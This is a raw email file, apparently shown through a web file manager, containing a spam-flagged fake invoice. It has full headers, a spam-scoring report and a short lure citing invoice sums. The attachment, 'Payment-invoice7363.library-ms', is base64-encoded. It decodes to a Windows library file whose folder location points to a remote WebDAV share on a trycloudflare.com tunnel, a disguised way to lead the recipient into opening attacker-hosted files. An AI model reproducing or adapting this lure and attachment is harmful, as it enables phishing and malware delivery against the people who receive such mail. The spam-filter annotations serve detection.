OwlCyberSecurity - MANAGER
Edit File: 1740470379.M831940P719450.server254.web-hosting.com,S=4805,W=4907
Return-Path: <billing@article48initiative.org> Delivered-To: info+spam@sportspesatips.com Received: from server254.web-hosting.com by server254.web-hosting.com with LMTP id kK8bMWt4vWda+goAUzp1tw (envelope-from <billing@article48initiative.org>) for <info+spam@sportspesatips.com>; Tue, 25 Feb 2025 02:59:39 -0500 Return-path: <billing@article48initiative.org> Envelope-to: info@sportspesatips.com Delivery-date: Tue, 25 Feb 2025 02:59:39 -0500 Received: from [41.169.69.170] (port=64751 helo=article48initiative.org) by server254.web-hosting.com with esmtp (Exim 4.96.2) (envelope-from <billing@article48initiative.org>) id 1tmpqo-0032g2-06 for info@sportspesatips.com; Tue, 25 Feb 2025 02:59:39 -0500 From: Frank Johnson <billing@article48initiative.org> To: info@sportspesatips.com Date: 25 Feb 2025 09:56:33 +0200 Message-ID: <20250225095633.11444A891B86A705@article48initiative.org> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_3725FDD1.937B7A4D" X-Spam-Status: Yes, score=6.3 X-Spam-Score: 63 X-Spam-Bar: ++++++ X-Spam-Report: Spam detection software, running on the system "server254.web-hosting.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Please view or download copy of invoice dated 02/24/25 which are also listed below: INVOICE# AMOUNT ======== ============== Content analysis details: (6.3 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see <https://www.spamcop.net/bl.shtml?41.169.69.170>] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [41.169.69.170 listed in bl.score.senderscore.com] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [41.169.69.170 listed in sa-trusted.bondedsender.org] 1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail) 1.5 SPF_HELO_SOFTFAIL SPF: HELO does not match SPF record (softfail) 0.0 LOTS_OF_MONEY Huge... sums of money 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 0.0 MONEY_FROM_41 Lots of money from Africa X-Spam-Flag: YES Subject: ***SPAM*** Payment invoice. This is a multi-part message in MIME format. ------=_NextPart_000_0012_3725FDD1.937B7A4D Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Please view or download copy of invoice dated 02/24/25 which are also listed below: INVOICE# AMOUNT =3D=3D=3D=3D=3D=3D=3D=3D =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D $13,020.60 $21,459.90 ------=_NextPart_000_0012_3725FDD1.937B7A4D Content-Type: application/octet-stream; name="Payment-invoice7363.library-ms" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Payment-invoice7363.library-ms" PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxsaWJyYXJ5RGVzY3Jp cHRpb24geG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZG93cy8yMDA5 L2xpYnJhcnkiPg0KICA8bmFtZT5NeSBEb2N1bWVudHM8L25hbWU+DQogIDx2ZXJzaW9uPjk8 L3ZlcnNpb24+DQogIDxpc0xpYnJhcnlQaW5uZWQ+dHJ1ZTwvaXNMaWJyYXJ5UGlubmVkPg0K ICA8aWNvblJlZmVyZW5jZT5zaGVsbDMyLmRsbCwtMjM1PC9pY29uUmVmZXJlbmNlPg0KICA8 dGVtcGxhdGVJbmZvPg0KICAgIDxmb2xkZXJUeXBlPns3ZDQ5ZDcyNi0zYzIxLTRmMDUtOTlh YS1mZGMyYzk0NzQ2NTZ9PC9mb2xkZXJUeXBlPg0KICA8L3RlbXBsYXRlSW5mbz4NCiAgPHNl YXJjaENvbm5lY3RvckRlc2NyaXB0aW9uTGlzdD4NCiAgICA8c2VhcmNoQ29ubmVjdG9yRGVz Y3JpcHRpb24+DQogICAgICA8aXNEZWZhdWx0U2F2ZUxvY2F0aW9uPnRydWU8L2lzRGVmYXVs dFNhdmVMb2NhdGlvbj4NCiAgICAgIDxpc1N1cHBvcnRlZD5mYWxzZTwvaXNTdXBwb3J0ZWQ+ DQogICAgICA8c2ltcGxlTG9jYXRpb24+DQogICAgICAgIDx1cmw+XFxib2MtdWgtcmVsYXRp dmVseS1wby50cnljbG91ZGZsYXJlLmNvbUBTU0xcRGF2V1dXUm9vdFwxWVNHQkFOS1NBPC91 cmw+DQogICAgICA8L3NpbXBsZUxvY2F0aW9uPg0KICAgIDwvc2VhcmNoQ29ubmVjdG9yRGVz Y3JpcHRpb24+DQogIDwvc2VhcmNoQ29ubmVjdG9yRGVzY3JpcHRpb25MaXN0Pg0KPC9saWJy YXJ5RGVzY3JpcHRpb24+ ------=_NextPart_000_0012_3725FDD1.937B7A4D--